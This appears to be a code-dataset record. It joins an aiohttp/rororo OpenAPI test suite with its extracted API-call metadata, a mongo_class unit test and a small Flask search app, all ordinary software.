content = io.BytesIO(await response.read())
with zipfile.ZipFile(content) as handler:
with handler.open("hello.txt") as item:
assert item.read() == b"Hello, world!"
@pytest.mark.parametrize("schema_path", (OPENAPI_JSON_PATH, OPENAPI_YAML_PATH))
async def test_validate_empty_response(aiohttp_client, schema_path):
app = setup_openapi(
web.Application(),
schema_path,
operations,
server_url="/api",
is_validate_response=True,
)
client = await aiohttp_client(app)
response = await client.get("/api/empty")
assert response.status == 204
@pytest.mark.parametrize(
"schema_path, is_validate_response, expected_status",
(
(OPENAPI_JSON_PATH, False, 200),
(OPENAPI_JSON_PATH, True, 422),
(OPENAPI_YAML_PATH, False, 200),
(OPENAPI_JSON_PATH, True, 422),
),
)
async def test_validate_response(
aiohttp_client, schema_path, is_validate_response, expected_status
):
app = setup_openapi(
web.Application(),
schema_path,
operations,
server_url="/api",
is_validate_response=is_validate_response,
)
client = await aiohttp_client(app)
response = await client.get("/api/invalid-response")
assert response.status == expected_status
@pytest.mark.parametrize("schema_path", (OPENAPI_JSON_PATH, OPENAPI_YAML_PATH))
async def test_validate_response_error(aiohttp_client, schema_path):
app = setup_openapi(
web.Application(),
schema_path,
operations,
server_url="/api",
is_validate_response=True,
)
client = await aiohttp_client(app)
response = await client.get("/api/invalid-response")
assert response.status == 422
assert await response.json() == {
"detail": [
{"loc": ["response", "uid"], "message": "Field required"},
{"loc": ["response", "type"], "message": "Field required"},
{"loc": ["response", "data"], "message": "Field required"},
{"loc": ["response", "any_data"], "message": "Field required"},
]
}
| [
"zipfile.ZipFile",
"io.BytesIO",
"yaml.load",
"aiohttp.web.Application",
"rororo.openapi.get_validated_data",
"aiohttp.web.json_response",
"yarl.URL",
"pathlib.Path",
"aiohttp.web.Response",
"rororo.openapi.exceptions.validation_error_context",
"rororo.get_openapi_context",
"rororo.setup_opena... | [((1360, 1379), 'rororo.OperationTableDef', 'OperationTableDef', ([], {}), '()\n', (1377, 1379), False, 'from rororo import BaseSettings, get_openapi_context, get_openapi_schema, get_openapi_spec, openapi_context, OperationTableDef, setup_openapi, setup_settings_from_environ\n'), ((1401, 1420), 'rororo.OperationTableDef', 'OperationTableDef', ([], {}), '()\n', (1418, 1420), False, 'from rororo import BaseSettings, get_openapi_context, get_openapi_schema, get_openapi_spec, openapi_context, OperationTableDef, setup_openapi, setup_settings_from_environ\n'), ((5259, 5337), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""schema_path"""', '(OPENAPI_JSON_PATH, OPENAPI_YAML_PATH)'], {}), "('schema_path', (OPENAPI_JSON_PATH, OPENAPI_YAML_PATH))\n", (5282, 5337), False, 'import pytest\n'), ((5723, 6086), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""data, expected_status, expected_response"""', '(({}, 422, {\'detail\': [{\'loc\': [\'body\'], \'message\': \'[] is too short\'}]}),\n ([], 422, {\'detail\': [{\'loc\': [\'body\'], \'message\': \'[] is too short\'}]}\n ), ([\'\'], 422, {\'detail\': [{\'loc\': [\'body\', 0], \'message\':\n "\'\' is too short"}]}), ([\'Hello\', \'world!\'], 200, [\'Hello\', \'world!\']))'], {}), '(\'data, expected_status, expected_response\', (({}, \n 422, {\'detail\': [{\'loc\': [\'body\'], \'message\': \'[] is too short\'}]}), ([\n ], 422, {\'detail\': [{\'loc\': [\'body\'], \'message\': \'[] is too short\'}]}),\n ([\'\'], 422, {\'detail\': [{\'loc\': [\'body\', 0], \'message\':\n "\'\' is too short"}]}), ([\'Hello\', \'world!\'], 200, [\'Hello\', \'world!\'])))\n', (5746, 6086), False, 'import pytest\n'), ((6697, 6775), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""schema_path"""', '(OPENAPI_JSON_PATH, OPENAPI_YAML_PATH)'], {}), "('schema_path', (OPENAPI_JSON_PATH, OPENAPI_YAML_PATH))\n", (6720, 6775), False, 'import pytest\n'), ((7478, 8417), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""schema_path, invalid_data, expected_detail"""', "((OPENAPI_JSON_PATH, {}, [{'loc': ['body', 'title'], 'message':\n 'Field required'}, {'loc': ['body', 'slug'], 'message':\n 'Field required'}, {'loc': ['body', 'content'], 'message':\n 'Field required'}, {'loc': ['body', 'published_at'], 'message':\n 'Field required'}]), (OPENAPI_YAML_PATH, {'title': 'Title'}, [{'loc': [\n 'body', 'slug'], 'message': 'Field required'}, {'loc': ['body',\n 'content'], 'message': 'Field required'}, {'loc': ['body',\n 'published_at'], 'message': 'Field required'}]), (OPENAPI_JSON_PATH, {\n 'title': 'Title', 'slug': 'slug'}, [{'loc': ['body', 'content'],\n 'message': 'Field required'}, {'loc': ['body', 'published_at'],\n 'message': 'Field required'}]), (OPENAPI_YAML_PATH, {'title': 'Title',\n 'slug': 'slug', 'content': 'Content'}, [{'loc': ['body', 'published_at'\n ], 'message': 'Field required'}]))"], {}), "('schema_path, invalid_data, expected_detail', ((\n OPENAPI_JSON_PATH, {}, [{'loc': ['body', 'title'], 'message':\n 'Field required'}, {'loc': ['body', 'slug'], 'message':\n 'Field required'}, {'loc': ['body', 'content'], 'message':\n 'Field required'}, {'loc': ['body', 'published_at'], 'message':\n 'Field required'}]), (OPENAPI_YAML_PATH, {'title': 'Title'}, [{'loc': [\n 'body', 'slug'], 'message': 'Field required'}, {'loc': ['body',\n 'content'], 'message': 'Field required'}, {'loc': ['body',\n 'published_at'], 'message': 'Field required'}]), (OPENAPI_JSON_PATH, {\n 'title': 'Title', 'slug': 'slug'}, [{'loc': ['body', 'content'],\n 'message': 'Field required'}, {'loc': ['body', 'published_at'],\n 'message': 'Field required'}]), (OPENAPI_YAML_PATH, {'title': 'Title',\n 'slug': 'slug', 'content': 'Content'}, [{'loc': ['body', 'published_at'\n ], 'message': 'Field required'}])))\n", (7501, 8417), False, 'import pytest\n'), ((9239, 9380), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""schema_path, schema_loader"""', '((OPENAPI_JSON_PATH, custom_json_loader), (OPENAPI_YAML_PATH,\n custom_yaml_loader))'], {}), "('schema_path, schema_loader', ((OPENAPI_JSON_PATH,\n custom_json_loader), (OPENAPI_YAML_PATH, custom_yaml_loader)))\n", (9262, 9380), False, 'import pytest\n'), ((9690, 9768), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""schema_path"""', '(OPENAPI_JSON_PATH, OPENAPI_YAML_PATH)'], {}), "('schema_path', (OPENAPI_JSON_PATH, OPENAPI_YAML_PATH))\n", (9713, 9768), False, 'import pytest\n'), ((10152, 10230), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""schema_path"""', '(OPENAPI_JSON_PATH, OPENAPI_YAML_PATH)'], {}), "('schema_path', (OPENAPI_JSON_PATH, OPENAPI_YAML_PATH))\n", (10175, 10230), False, 'import pytest\n'), ((10767, 10845), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""schema_path"""', '(OPENAPI_JSON_PATH, OPENAPI_YAML_PATH)'], {}), "('schema_path', (OPENAPI_JSON_PATH, OPENAPI_YAML_PATH))\n", (10790, 10845), False, 'import pytest\n'), ((11616, 11694), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""schema_path"""', '(OPENAPI_JSON_PATH, OPENAPI_YAML_PATH)'], {}), "('schema_path', (OPENAPI_JSON_PATH, OPENAPI_YAML_PATH))\n", (11639, 11694), False, 'import pytest\n'), ((13354, 13406), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""is_enabled"""', '(False, True)'], {}), "('is_enabled', (False, True))\n", (13377, 13406), False, 'import pytest\n'), ((13889, 14185), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""has_openapi_schema_handler, url, expected_status"""', "((True, '/api/openapi.json', 200), (False, '/api/openapi.yaml', 404), (True,\n '/api/openapi.yaml', 200), (False, '/api/openapi.yaml', 404), (True,\n '/api/openapi.txt', 500), (False, '/api/openapi.txt', 404))"], {}), "('has_openapi_schema_handler, url, expected_status',\n ((True, '/api/openapi.json', 200), (False, '/api/openapi.yaml', 404), (\n True, '/api/openapi.yaml', 200), (False, '/api/openapi.yaml', 404), (\n True, '/api/openapi.txt', 500), (False, '/api/openapi.txt', 404)))\n", (13912, 14185), False, 'import pytest\n'), ((14683, 14926), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""schema_path, headers, expected"""', "((OPENAPI_JSON_PATH, {}, ''), (OPENAPI_JSON_PATH, {'X-API-Key': 'apiKey'},\n 'apiKey'), (OPENAPI_YAML_PATH, {}, ''), (OPENAPI_YAML_PATH, {\n 'X-API-Key': 'apiKey'}, 'apiKey'))"], {}), "('schema_path, headers, expected', ((\n OPENAPI_JSON_PATH, {}, ''), (OPENAPI_JSON_PATH, {'X-API-Key': 'apiKey'},\n 'apiKey'), (OPENAPI_YAML_PATH, {}, ''), (OPENAPI_YAML_PATH, {\n 'X-API-Key': 'apiKey'}, 'apiKey')))\n", (14706, 14926), False, 'import pytest\n'), ((15353, 15431), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""schema_path"""', '(OPENAPI_JSON_PATH, OPENAPI_YAML_PATH)'], {}), "('schema_path', (OPENAPI_JSON_PATH, OPENAPI_YAML_PATH))\n", (15376, 15431), False, 'import pytest\n'), ((16199, 16333), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""schema_path, loader"""', '((OPENAPI_JSON_PATH, custom_json_loader), (OPENAPI_YAML_PATH,\n custom_yaml_loader))'], {}), "('schema_path, loader', ((OPENAPI_JSON_PATH,\n custom_json_loader), (OPENAPI_YAML_PATH, custom_yaml_loader)))\n", (16222, 16333), False, 'import pytest\n'), ((16910, 17044), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""schema_path, loader"""', '((OPENAPI_JSON_PATH, custom_json_loader), (OPENAPI_YAML_PATH,\n custom_yaml_loader))'], {}), "('schema_path, loader', ((OPENAPI_JSON_PATH,\n custom_json_loader), (OPENAPI_YAML_PATH, custom_yaml_loader)))\n", (16933, 17044), False, 'import pytest\n'), ((17449, 17527), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""schema_path"""', '(OPENAPI_JSON_PATH, OPENAPI_YAML_PATH)'], {}), "('schema_path', (OPENAPI_JSON_PATH, OPENAPI_YAML_PATH))\n", (17472, 17527), False, 'import pytest\n'), ((18138, 18236), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""schema_path"""', '(INVALID_OPENAPI_JSON_PATH, INVALID_OPENAPI_YAML_PATH)'], {}), "('schema_path', (INVALID_OPENAPI_JSON_PATH,\n INVALID_OPENAPI_YAML_PATH))\n", (18161, 18236), False, 'import pytest\n'), ((18402, 18892), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""schema_path, level, url, expected_status"""', "((OPENAPI_JSON_PATH, 'test', '/api/hello', 200), (OPENAPI_JSON_PATH, 'test',\n '/dev-api/hello', 404), (OPENAPI_YAML_PATH, 'test', '/api/hello', 200),\n (OPENAPI_YAML_PATH, 'test', '/dev-api/hello', 404), (OPENAPI_JSON_PATH,\n 'dev', '/api/hello', 404), (OPENAPI_JSON_PATH, 'dev', '/dev-api/hello',\n 200), (OPENAPI_YAML_PATH, 'dev', '/api/hello', 404), (OPENAPI_YAML_PATH,\n 'dev', '/dev-api/hello', 200))"], {}), "('schema_path, level, url, expected_status', ((\n OPENAPI_JSON_PATH, 'test', '/api/hello', 200), (OPENAPI_JSON_PATH,\n 'test', '/dev-api/hello', 404), (OPENAPI_YAML_PATH, 'test',\n '/api/hello', 200), (OPENAPI_YAML_PATH, 'test', '/dev-api/hello', 404),\n (OPENAPI_JSON_PATH, 'dev', '/api/hello', 404), (OPENAPI_JSON_PATH,\n 'dev', '/dev-api/hello', 200), (OPENAPI_YAML_PATH, 'dev', '/api/hello',\n 404), (OPENAPI_YAML_PATH, 'dev', '/dev-api/hello', 200)))\n", (18425, 18892), False, 'import pytest\n'), ((19390, 19468), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""schema_path"""', '(OPENAPI_JSON_PATH, OPENAPI_YAML_PATH)'], {}), "('schema_path', (OPENAPI_JSON_PATH, OPENAPI_YAML_PATH))\n", (19413, 19468), False, 'import pytest\n'), ((19788, 19866), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""schema_path"""', '(OPENAPI_JSON_PATH, OPENAPI_YAML_PATH)'], {}), "('schema_path', (OPENAPI_JSON_PATH, OPENAPI_YAML_PATH))\n", (19811, 19866), False, 'import pytest\n'), ((20041, 20119), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""schema_path"""', '(OPENAPI_JSON_PATH, OPENAPI_YAML_PATH)'], {}), "('schema_path', (OPENAPI_JSON_PATH, OPENAPI_YAML_PATH))\n", (20064, 20119), False, 'import pytest\n'), ((20619, 20697), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""schema_path"""', '(OPENAPI_JSON_PATH, OPENAPI_YAML_PATH)'], {}), "('schema_path', (OPENAPI_JSON_PATH, OPENAPI_YAML_PATH))\n", (20642, 20697), False, 'import pytest\n'), ((21173, 21251), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""schema_path"""', '(OPENAPI_JSON_PATH, OPENAPI_YAML_PATH)'], {}), "('schema_path', (OPENAPI_JSON_PATH, OPENAPI_YAML_PATH))\n", (21196, 21251), False, 'import pytest\n'), ((21861, 21939), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""schema_path"""', '(OPENAPI_JSON_PATH, OPENAPI_YAML_PATH)'], {}), "('schema_path', (OPENAPI_JSON_PATH, OPENAPI_YAML_PATH))\n", (21884, 21939), False, 'import pytest\n'), ((22293, 22511), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""schema_path, is_validate_response, expected_status"""', '((OPENAPI_JSON_PATH, False, 200), (OPENAPI_JSON_PATH, True, 422), (\n OPENAPI_YAML_PATH, False, 200), (OPENAPI_JSON_PATH, True, 422))'], {}), "('schema_path, is_validate_response, expected_status',\n ((OPENAPI_JSON_PATH, False, 200), (OPENAPI_JSON_PATH, True, 422), (\n OPENAPI_YAML_PATH, False, 200), (OPENAPI_JSON_PATH, True, 422)))\n", (22316, 22511), False, 'import pytest\n'), ((22984, 23062), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""schema_path"""', '(OPENAPI_JSON_PATH, OPENAPI_YAML_PATH)'], {}), "('schema_path', (OPENAPI_JSON_PATH, OPENAPI_YAML_PATH))\n", (23007, 23062), False, 'import pytest\n'), ((663, 677), 'pathlib.Path', 'Path', (['__file__'], {}), '(__file__)\n', (667, 677), False, 'from pathlib import Path\n'), ((1586, 1628), 'yaml.load', 'yaml.load', (['content'], {'Loader': 'yaml.SafeLoader'}), '(content, Loader=yaml.SafeLoader)\n', (1595, 1628), False, 'import yaml\n'), ((1753, 1787), 'aiohttp.web.Response', 'web.Response', ([], {'text': '"""Hello, world!"""'}), "(text='Hello, world!')\n", (1765, 1787), False, 'from aiohttp import web\n'), ((1898, 1925), 'rororo.openapi.get_validated_data', 'get_validated_data', (['request'], {}), '(request)\n', (1916, 1925), False, 'from rororo.openapi import get_validated_data\n'), ((3156, 3184), 'rororo.get_openapi_context', 'get_openapi_context', (['request'], {}), '(request)\n', (3175, 3184), False, 'from rororo import BaseSettings, get_openapi_context, get_openapi_schema, get_openapi_spec, openapi_context, OperationTableDef, setup_openapi, setup_settings_from_environ\n'), ((3405, 3426), 'aiohttp.web.json_response', 'web.json_response', (['{}'], {}), '({})\n', (3422, 3426), False, 'from aiohttp import web\n'), ((3527, 3555), 'rororo.get_openapi_context', 'get_openapi_context', (['request'], {}), '(request)\n', (3546, 3555), False, 'from rororo import BaseSettings, get_openapi_context, get_openapi_schema, get_openapi_spec, openapi_context, OperationTableDef, setup_openapi, setup_settings_from_environ\n'), ((3567, 3653), 'aiohttp.web.json_response', 'web.json_response', (["{'id': context.parameters.path['post_id'], 'title': 'The Post'}"], {}), "({'id': context.parameters.path['post_id'], 'title':\n 'The Post'})\n", (3584, 3653), False, 'from aiohttp import web\n'), ((4497, 4509), 'io.BytesIO', 'io.BytesIO', ([], {}), '()\n', (4507, 4509), False, 'import io\n'), ((4647, 4776), 'aiohttp.web.Response', 'web.Response', ([], {'body': 'output', 'content_type': '"""application/zip"""', 'headers': "{'Content-Disposition': 'attachment; filename=hello.zip'}"}), "(body=output, content_type='application/zip', headers={\n 'Content-Disposition': 'attachment; filename=hello.zip'})\n", (4659, 4776), False, 'from aiohttp import web\n'), ((13487, 13504), 'aiohttp.web.Application', 'web.Application', ([], {}), '()\n', (13502, 13504), False, 'from aiohttp import web\n'), ((13509, 13614), 'rororo.setup_openapi', 'setup_openapi', (['app', 'OPENAPI_YAML_PATH', 'operations'], {'server_url': '"""/api"""', 'is_validate_response': 'is_enabled'}), "(app, OPENAPI_YAML_PATH, operations, server_url='/api',\n is_validate_response=is_enabled)\n", (13522, 13614), False, 'from rororo import BaseSettings, get_openapi_context, get_openapi_schema, get_openapi_spec, openapi_context, OperationTableDef, setup_openapi, setup_settings_from_environ\n'), ((14359, 14376), 'aiohttp.web.Application', 'web.Application', ([], {}), '()\n', (14374, 14376), False, 'from aiohttp import web\n'), ((16510, 16529), 'openapi_core.shortcuts.create_spec', 'create_spec', (['schema'], {}), '(schema)\n', (16521, 16529), False, 'from openapi_core.shortcuts import create_spec\n'), ((17248, 17267), 'openapi_core.shortcuts.create_spec', 'create_spec', (['schema'], {}), '(schema)\n', (17259, 17267), False, 'from openapi_core.shortcuts import create_spec\n'), ((1498, 1517), 'io.BytesIO', 'io.BytesIO', (['content'], {}), '(content)\n', (1508, 1517), False, 'import io\n'), ((1995, 2043), 'rororo.openapi.exceptions.validation_error_context', 'validation_error_context', (['"""body"""', '"""published_at"""'], {}), "('body', 'published_at')\n", (2019, 2043), False, 'from rororo.openapi.exceptions import ConfigurationError, OperationError, validation_error_context, ValidationError\n'), ((2371, 2395), 'rororo.openapi_context', 'openapi_context', (['request'], {}), '(request)\n', (2386, 2395), False, 'from rororo import BaseSettings, get_openapi_context, get_openapi_schema, get_openapi_spec, openapi_context, OperationTableDef, setup_openapi, setup_settings_from_environ\n'), ((2553, 2618), 'aiohttp.web.json_response', 'web.json_response', (["{'message': f'Hello, {name}!', 'email': email}"], {}), "({'message': f'Hello, {name}!', 'email': email})\n", (2570, 2618), False, 'from aiohttp import web\n'), ((2954, 2978), 'rororo.openapi_context', 'openapi_context', (['request'], {}), '(request)\n', (2969, 2978), False, 'from rororo import BaseSettings, get_openapi_context, get_openapi_schema, get_openapi_spec, openapi_context, OperationTableDef, setup_openapi, setup_settings_from_environ\n'), ((3793, 3817), 'rororo.openapi_context', 'openapi_context', (['request'], {}), '(request)\n', (3808, 3817), False, 'from rororo import BaseSettings, get_openapi_context, get_openapi_schema, get_openapi_spec, openapi_context, OperationTableDef, setup_openapi, setup_settings_from_environ\n'), ((3845, 3874), 'pyrsistent.thaw', 'pyrsistent.thaw', (['context.data'], {}), '(context.data)\n', (3860, 3874), False, 'import pyrsistent\n'), ((4520, 4548), 'zipfile.ZipFile', 'zipfile.ZipFile', (['output', '"""w"""'], {}), "(output, 'w')\n", (4535, 4548), False, 'import zipfile\n'), ((5440, 5457), 'aiohttp.web.Application', 'web.Application', ([], {}), '()\n', (5455, 5457), False, 'from aiohttp import web\n'), ((6392, 6409), 'aiohttp.web.Application', 'web.Application', ([], {}), '()\n', (6407, 6409), False, 'from aiohttp import web\n'), ((6870, 6887), 'aiohttp.web.Application', 'web.Application', ([], {}), '()\n', (6885, 6887), False, 'from aiohttp import web\n'), ((8920, 8937), 'aiohttp.web.Application', 'web.Application', ([], {}), '()\n', (8935, 8937), False, 'from aiohttp import web\n'), ((9503, 9520), 'aiohttp.web.Application', 'web.Application', ([], {}), '()\n', (9518, 9520), False, 'from aiohttp import web\n'), ((9656, 9679), 'rororo.get_openapi_schema', 'get_openapi_schema', (['app'], {}), '(app)\n', (9674, 9679), False, 'from rororo import BaseSettings, get_openapi_context, get_openapi_schema, get_openapi_spec, openapi_context, OperationTableDef, setup_openapi, setup_settings_from_environ\n'), ((9860, 9877), 'aiohttp.web.Application', 'web.Application', ([], {}), '()\n', (9875, 9877), False, 'from aiohttp import web\n'), ((10334, 10351), 'aiohttp.web.Application', 'web.Application', ([], {}), '()\n', (10349, 10351), False, 'from aiohttp import web\n'), ((10948, 10965), 'aiohttp.web.Application', 'web.Application', ([], {}), '()\n', (10963, 10965), False, 'from aiohttp import web\n'), ((11405, 11438), 'pytest.raises', 'pytest.raises', (['ConfigurationError'], {}), '(ConfigurationError)\n', (11418, 11438), False, 'import pytest\n'), ((11534, 11567), 'pytest.raises', 'pytest.raises', (['ConfigurationError'], {}), '(ConfigurationError)\n', (11547, 11567), False, 'import pytest\n'), ((11797, 11814), 'aiohttp.web.Application', 'web.Application', ([], {}), '()\n', (11812, 11814), False, 'from aiohttp import web\n'), ((13012, 13029), 'aiohttp.web.Application', 'web.Application', ([], {}), '()\n', (13027, 13029), False, 'from aiohttp import web\n'), ((15091, 15108), 'aiohttp.web.Application', 'web.Application', ([], {}), '()\n', (15106, 15108), False, 'from aiohttp import web\n'), ((15537, 15554), 'aiohttp.web.Application', 'web.Application', ([], {}), '()\n', (15552, 15554), False, 'from aiohttp import web\n'), ((16564, 16581), 'aiohttp.web.Application', 'web.Application', ([], {}), '()\n', (16579, 16581), False, 'from aiohttp import web\n'), ((17296, 17313), 'aiohttp.web.Application', 'web.Application', ([], {}), '()\n', (17311, 17313), False, 'from aiohttp import web\n'), ((17592, 17621), 'pytest.raises', 'pytest.raises', (['OperationError'], {}), '(OperationError)\n', (17605, 17621), False, 'import pytest\n'), ((17825, 17858), 'pytest.raises', 'pytest.raises', (['ConfigurationError'], {}), '(ConfigurationError)\n', (17838, 17858), False, 'import pytest\n'), ((18020, 18053), 'pytest.raises', 'pytest.raises', (['ConfigurationError'], {}), '(ConfigurationError)\n', (18033, 18053), False, 'import pytest\n'), ((18298, 18331), 'pytest.raises', 'pytest.raises', (['ConfigurationError'], {}), '(ConfigurationError)\n', (18311, 18331), False, 'import pytest\n'), ((19594, 19627), 'pytest.raises', 'pytest.raises', (['ConfigurationError'], {}), '(ConfigurationError)\n', (19607, 19627), False, 'import pytest\n'), ((19937, 19970), 'pytest.raises', 'pytest.raises', (['ConfigurationError'], {}), '(ConfigurationError)\n', (19950, 19970), False, 'import pytest\n'), ((20288, 20305), 'aiohttp.web.Application', 'web.Application', ([], {}), '()\n', (20303, 20305), False, 'from aiohttp import web\n'), ((20836, 20853), 'aiohttp.web.Application', 'web.Application', ([], {}), '()\n', (20851, 20853), False, 'from aiohttp import web\n'), ((21355, 21372), 'aiohttp.web.Application', 'web.Application', ([], {}), '()\n', (21370, 21372), False, 'from aiohttp import web\n'), ((21722, 21746), 'zipfile.ZipFile', 'zipfile.ZipFile', (['content'], {}), '(content)\n', (21737, 21746), False, 'import zipfile\n'), ((22042, 22059), 'aiohttp.web.Application', 'web.Application', ([], {}), '()\n', (22057, 22059), False, 'from aiohttp import web\n'), ((22694, 22711), 'aiohttp.web.Application', 'web.Application', ([], {}), '()\n', (22709, 22711), False, 'from aiohttp import web\n'), ((23165, 23182), 'aiohttp.web.Application', 'web.Application', ([], {}), '()\n', (23180, 23182), False, 'from aiohttp import web\n'), ((2103, 2143), 'rororo.openapi.exceptions.ValidationError', 'ValidationError', ([], {'message': '"""Invalid value"""'}), "(message='Invalid value')\n", (2118, 2143), False, 'from rororo.openapi.exceptions import ConfigurationError, OperationError, validation_error_context, ValidationError\n'), ((2803, 2830), 'rororo.openapi.get_validated_data', 'get_validated_data', (['request'], {}), '(request)\n', (2821, 2830), False, 'from rororo.openapi import get_validated_data\n'), ((3024, 3053), 'pyrsistent.thaw', 'pyrsistent.thaw', (['context.data'], {}), '(context.data)\n', (3039, 3053), False, 'import pyrsistent\n'), ((5495, 5507), 'yarl.URL', 'URL', (['"""/api/"""'], {}), "('/api/')\n", (5498, 5507), False, 'from yarl import URL\n'), ((6477, 6488), 'yarl.URL', 'URL', (['"""/api"""'], {}), "('/api')\n", (6480, 6488), False, 'from yarl import URL\n'), ((8999, 9014), 'yarl.URL', 'URL', (['"""/dev-api"""'], {}), "('/dev-api')\n", (9002, 9014), False, 'from yarl import URL\n'), ((11467, 11484), 'aiohttp.web.Application', 'web.Application', ([], {}), '()\n', (11482, 11484), False, 'from aiohttp import web\n'), ((11594, 11611), 'aiohttp.web.Application', 'web.Application', ([], {}), '()\n', (11609, 11611), False, 'from aiohttp import web\n'), ((14475, 14486), 'yarl.URL', 'URL', (['"""/api"""'], {}), "('/api')\n", (14478, 14486), False, 'from yarl import URL\n'), ((17658, 17675), 'aiohttp.web.Application', 'web.Application', ([], {}), '()\n', (17673, 17675), False, 'from aiohttp import web\n'), ((17895, 17912), 'aiohttp.web.Application', 'web.Application', ([], {}), '()\n', (17910, 17912), False, 'from aiohttp import web\n'), ((18077, 18094), 'aiohttp.web.Application', 'web.Application', ([], {}), '()\n', (18092, 18094), False, 'from aiohttp import web\n'), ((18355, 18372), 'aiohttp.web.Application', 'web.Application', ([], {}), '()\n', (18370, 18372), False, 'from aiohttp import web\n'), ((19183, 19200), 'aiohttp.web.Application', 'web.Application', ([], {}), '()\n', (19198, 19200), False, 'from aiohttp import web\n'), ((19994, 20011), 'aiohttp.web.Application', 'web.Application', ([], {}), '()\n', (20009, 20011), False, 'from aiohttp import web\n'), ((4926, 4954), 'rororo.get_openapi_context', 'get_openapi_context', (['request'], {}), '(request)\n', (4945, 4954), False, 'from rororo import BaseSettings, get_openapi_context, get_openapi_schema, get_openapi_spec, openapi_context, OperationTableDef, setup_openapi, setup_settings_from_environ\n'), ((5152, 5180), 'rororo.get_openapi_context', 'get_openapi_context', (['request'], {}), '(request)\n', (5171, 5180), False, 'from rororo import BaseSettings, get_openapi_context, get_openapi_schema, get_openapi_spec, openapi_context, OperationTableDef, setup_openapi, setup_settings_from_environ\n'), ((19692, 19709), 'aiohttp.web.Application', 'web.Application', ([], {}), '()\n', (19707, 19709), False, 'from aiohttp import web\n'), ((20195, 20209), 'pathlib.Path', 'Path', (['__file__'], {}), '(__file__)\n', (20199, 20209), False, 'from pathlib import Path\n')] |
#!/usr/bin/python
# Classification (U)
"""Program: server_disconnect.py
Description: Unit testing of Server.disconnect in mongo_class.py.
Usage:
test/unit/mongo_class/server_disconnect.py
Arguments:
"""
# Libraries and Global Variables
# Standard
import sys
import os
if sys.version_info < (2, 7):
import unittest2 as unittest
else:
import unittest
# Third-party
import mock
# Local
sys.path.append(os.getcwd())
import mongo_class
import version
__version__ = version.__version__
class UnitTest(unittest.TestCase):
"""Class: UnitTest
Description: Class which is a representation of a unit testing.
Methods:
setUp
test_disconnect
"""
def setUp(self):
"""Function: setUp
Description: Initialization for unit testing.
Arguments:
"""
self.name = "Mongo_Server"
self.user = "mongo_user"
self.japd = "mongo_pd"
self.host = "host_server"
self.port = 27017
self.dbs = "test"
self.coll = None
self.db_auth = None
self.conf_file = "Conf_File"
@mock.patch("mongo_class.pymongo.MongoClient")
def test_disconnect(self, mock_client):
"""Function: test_disconnect
Description: Test disconnect method.
Arguments:
"""
mock_client.close.return_value = True
mongo = mongo_class.Server(self.name, self.user, self.japd,
self.host, self.port)
mongo.disconnect()
self.assertEqual(
(mongo.name, mongo.user, mongo.japd, mongo.host, mongo.port,
mongo.conn),
(self.name, self.user, self.japd, self.host, self.port, None))
if __name__ == "__main__":
unittest.main()
| [
"unittest.main",
"mongo_class.Server",
"mock.patch",
"os.getcwd"
] | [((439, 450), 'os.getcwd', 'os.getcwd', ([], {}), '()\n', (448, 450), False, 'import os\n'), ((1136, 1181), 'mock.patch', 'mock.patch', (['"""mongo_class.pymongo.MongoClient"""'], {}), "('mongo_class.pymongo.MongoClient')\n", (1146, 1181), False, 'import mock\n'), ((1778, 1793), 'unittest.main', 'unittest.main', ([], {}), '()\n', (1791, 1793), False, 'import unittest\n'), ((1408, 1481), 'mongo_class.Server', 'mongo_class.Server', (['self.name', 'self.user', 'self.japd', 'self.host', 'self.port'], {}), '(self.name, self.user, self.japd, self.host, self.port)\n', (1426, 1481), False, 'import mongo_class\n')] |
import argparse
from flask import Flask, render_template, redirect, jsonify
from data import DataRetriever
from flask import request
from gevent.pywsgi import WSGIServer
app = Flask(__name__)
data_retriever = DataRetriever()
def parse_distance(amount):
return round(float(amount), 2)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/search', methods=['POST'])
def search():
if '' in request.form.values():
print('Incorrect values passed: {}'.format(request.form))
return redirect('/')
coordinates = [parse_distance(request.form['x']), parse_distance(request.form['y']), parse_distance(request.form['z'])]
distances = [parse_distance(request.form['a']), parse_distance(request.form['b']), parse_distance(request.form['c'])]
sites = data_retriever.get_possible_systems(coordinates=coordinates, distances=distances)
print('Results: {}'.format(sites))
return render_template('results.html', sites=sites)
#
# @app.route('/api/search', methods=['POST'])
# def search_api():
# if '' in request.form.values():
# print('Incorrect values passed: {}'.format(request.form))
# return redirect('/')
# coordinates = [parse_distance(request.form['x']), parse_distance(request.form['y']), parse_distance(request.form['z'])]
# sites = get_closest_systems(coordinates[0], coordinates[1], coordinates[2])
# return jsonify(
# {
# 'sites': sites
# }
# )
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument(
'--debug',
dest='debug',
action='store_true',
default=False,
help='Run in debug mode')
args = parser.parse_args()
if args.debug:
app.run(host='127.0.0.1', port=3000, debug=True, threaded=True)
else:
http_server = WSGIServer(('127.0.0.1', 3000), app)
http_server.serve_forever()
| [
"flask.render_template",
"argparse.ArgumentParser",
"flask.Flask",
"flask.redirect",
"gevent.pywsgi.WSGIServer",
"flask.request.form.values",
"data.DataRetriever"
